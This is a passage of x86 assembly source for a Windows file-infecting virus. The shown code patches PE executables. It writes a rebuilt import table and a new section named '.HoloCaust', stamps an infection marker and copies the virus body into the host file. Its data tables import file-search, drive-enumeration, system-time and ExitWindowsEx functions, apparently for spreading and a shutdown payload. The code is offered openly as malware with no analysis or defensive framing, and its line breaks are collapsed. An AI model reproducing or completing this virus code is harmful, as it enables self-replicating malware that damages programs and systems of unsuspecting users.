0 push dword ptr [Point_ImportTable-Virus_Code+ebp] push dword ptr [HandleFile-Virus_Code+ebp] call dword ptr [SetFilePointer-Virus_Code+ebp] push NULL lea eax,[DoWriteOrRead-Virus_Code+ebp] push eax push 4 lea eax,[Infected_ImportTable-Virus_Code+ebp] push eax push dword ptr [HandleFile-Virus_Code+ebp] call dword ptr [WriteFile-Virus_Code+ebp] push FILE_BEGIN push 0 push dword ptr [Point_AEmptySectionTable-Virus_Code+ebp] push dword ptr [HandleFile-Virus_Code+ebp] call dword ptr [SetFilePointer-Virus_Code+ebp] push NULL lea eax,[DoWriteOrRead-Virus_Code+ebp] push eax push 40 lea eax,[VirusSectionTable-Virus_Code+ebp] push eax push dword ptr [HandleFile-Virus_Code+ebp] call dword ptr [WriteFile-Virus_Code+ebp] mov eax,[NT_Header-Virus_Code+ebp] sub eax,1 push FILE_BEGIN push 0 push eax push dword ptr [HandleFile-Virus_Code+ebp] call dword ptr [SetFilePointer-Virus_Code+ebp] push NULL lea eax,[DoWriteOrRead-Virus_Code+ebp] push eax push 1 lea eax,[Mark-Virus_Code+ebp] push eax push dword ptr [HandleFile-Virus_Code+ebp] call dword ptr [WriteFile-Virus_Code+ebp] push FILE_BEGIN push 0 push dword ptr [PointerToRawData-Virus_Code+ebp] push dword ptr [HandleFile-Virus_Code+ebp] call dword ptr [SetFilePointer-Virus_Code+ebp] push NULL lea eax,[DoWriteOrRead-Virus_Code+ebp] push eax push 1000h lea eax,[Virus_Code-Virus_Code+ebp] push eax push dword ptr [HandleFile-Virus_Code+ebp] call dword ptr [WriteFile-Virus_Code+ebp] push dword ptr [HandleFile-Virus_Code+ebp] call dword ptr [CloseHandle-Virus_Code+ebp] mov eax,012345678h here InfectFile_Exit: RET Infect_File endp HandleFiledd ? DoWriteOrReaddd ? Markdb 49h Infected_NumberOfSectiondw ? Infected_AddressOfEnterPointdd ? Infected_SizeOfImagedd ? Infected_ImportTabledd ? NT_Header dd ? PE_Signaturedd ? Point_NumberOfSectiondd ? NumberOfSectiondw ? Point_SizeOfOptionalHeaderdd ? SizeOfOptionalHeaderdw ? Point_AddressOfEnterPointdd ? AddressOfEnterPointdd 01000h Point_ImageBasedd ? ImageBase dd 0400000h Point_SizeOfImage dd ? SizeOfImage dd ? Point_FileOffsetImportTabledd ? Point_ImportTable dd ? ImportTable dd ? Point_AEmptySectionTable dd ? VirusSectionTable=$ NameSection db ".HoloCaust" SVirtualSizedd 01000h SVirtualAddressdd ? SizeOfRawDatadd 01000h PointerToRawData dd ? PointToRelocationsdd 0 PointerToLinenumbersdd 0 NumberOfRelocationsdw 0 numberOfLinenumbwrsdw 0 SFlagsdd 060000020h+80000000h S_CreateFileA db 0,0,"CreateFileA",0 S_SetFilePointer db 0,0,"SetFilePointer",0 S_ExitProcess db 0,0,"ExitProcess",0 S_ReadFile db 0,0,"ReadFile",0 S_CloseHandle db 0,0,"CloseHandle",0 S_WriteFile db 0,0,"WriteFile",0 S_SetFileAttributesA db 0,0,"SetFileAttributesA",0 S_FindFirstFileA db 0,0,"FindFirstFileA",0 S_FindNextFileA db 0,0,"FindNextFileA",0 S_GetSystemTimedb 0,0,"GetSystemTime",0 S_GetLogicalDrivesdb 0,0,"GetLogicalDrives",0 S_ExitWindowsExdb 0,0,"ExitWindowsEx",0 S_MessageBoxA db 0,0,"MessageBoxA",0 KERNEL32_DLLName db "KERNEL32.dll",0 USER32_DLLNamedb "USER32.DLL",0 KERNEL32_API_Entry=$ CreateFileA dd ? SetFilePointer dd ? ExitProcess dd ? ReadFile dd ? CloseHandle dd ? WriteFile dd ? SetFileAttributesAdd ? FindFirstFileAdd ? FindNextFileAdd ? GetSystemTimedd ? GetLogicalDrives dd ? USER32_API_Entry=$ ExitWindowsExdd ? MessageBoxA dd ? Fix_Data=$ Fix_CreateFileAdd S_CreateFileA -Virus_Code Fix_SetFilePointerdd S_SetFilePointer-Virus_Code Fix_ExitProcessdd S_ExitProcess -Virus_Code Fix_ReadFiledd S_ReadFile-Virus_Code Fix_CloseHandledd S_CloseHandle -Virus_Code Fix_WriteFile dd S_WriteFile-Virus_Code Fix_SetFileAttributesAdd S_SetFileAttributesA-Virus_Code Fix_FindFirstFileAdd S_FindFirstFileA-Virus_Code Fix_FindNextFileA dd S_FindNextFileA-Virus_Code Fix_GetSystemTime dd S_GetSystemTime-Virus_Code Fix_GetLogicalDrivesdd S_GetLogicalDrives-Virus_Code dd 0 Fix_ExitWindowsEx dd S_ExitWindowsEx-Virus_Code Fix_MessageBoxAdd S_MessageBoxA -Virus_Code dd 0 Fix_KERNEL32_OriginalFirstThunk dd KERNEL32_Original_API_Name_Point-Virus_Code Fix_KERNEL32_TimeDateStamp dd ? Fix_KERNEL32_ForwarderChain dd ? Fix_KERNEL32_Name1 dd KERNEL32_DLLName-Virus_Code Fix_KERNEL32_FirstThunk dd KERNEL32_API_Entry-Virus_Code Fix_USER32_OriginalFirstThunk dd USER32_Original_API_Name_Point-Virus_Code Fix_USER32_TimeDateStamp dd ? Fix_USER32_ForwarderChain dd ? Fix_USER32_Name1 dd USER32_DLLName-Virus_Code Fix_USER32_FirstThunk dd USER32_API_Entry-Virus_Code Move_Data=$ KERNEL32_Original_API_Name_Point=$ Original_CreateFileAdd S_CreateFileA -Virus_Code+4000h Original_SetFilePointer dd S_SetFilePointer-Virus_Code+4000h Original_ExitProcessdd S_ExitProcess -Virus_Code+4000h Original_ReadFile dd S_ReadFile-Virus_Code+4000h Original_CloseHandledd S_CloseHandle -Virus_Code+4000h Original_WriteFile dd S_WriteFile-Virus_Code+4000h Original_SetFileAttributesAdd S_SetFileAttributesA-Virus_Code+4000h Original_FindFirstFileAdd S_FindFirstFileA-Virus_Code+4000h Original_FindNextFileAdd S_FindNextFileA-Virus_Code+4000h Original_GetSystemTimedd S_GetSystemTime-Virus_Code+4000h Original_GetLogicalDrivesdd S_GetLogicalDrives-Virus_Code+4000h Zero_KERNEL32dd 0 USER32_Original_API_Name_Point=$ Original_ExitWindowsExdd S_ExitWindowsEx-Virus_Code+4000h Original_MessageBoxAdd S_MessageBoxA -Virus_Code+4000h Zero_USER32 dd 0 New_Imoprt_Descridtor=$ ;KERNEL32.dll KERNEL32_OriginalFirstThunk dd KERNEL32_Original_API_Name_Point-Virus_Code+4000h KERNEL32_TimeDateStamp dd ? KERNEL32_ForwarderChain dd ? KERNEL32_Name1 dd KERNEL32_DLLName-Virus_Code+4000h KERNEL32_FirstThunk dd KERNEL32_API_Entry-Virus_Code+4000h ;USER32.DLL USER32_OriginalFirstThunk dd USER32_Original_API_Name_Point-Virus_Code+4000h USER32_TimeDateStamp dd ? USER32_ForwarderChain dd ? USER32_Name1 dd USER32_DLLName-Virus_Code+4000h USER32_FirstThunk dd USER32_API_Entry-Virus_Code+4000h HostImportData=$ dd 0204ch,0,0,0206ah,02000h dd 02054h,0,0,02086h,02008h dd 5 dup(0) Virus_WIN32_FIND_DATA=$ dwFileAttributes dd 0 ftCreationTime dd 0,0 ftLastAccessTime dd 0,0 ftLastWriteTime dd 0,0 nFileSizeHigh dd 0 nFileSizeLow dd 0 dwReserved0 dd 0 dwReserved1 dd 0 cFileName db 260 dup(0) cAlternate db 14 dup(0) SystemTime=$ wYear dw ? wMonth dw ? wDayOfWeek dw ? wDay dw ? wHour dw ? wMinute dw ? wSecond dw ? wMilliseconds dw ? CODE ENDS END Start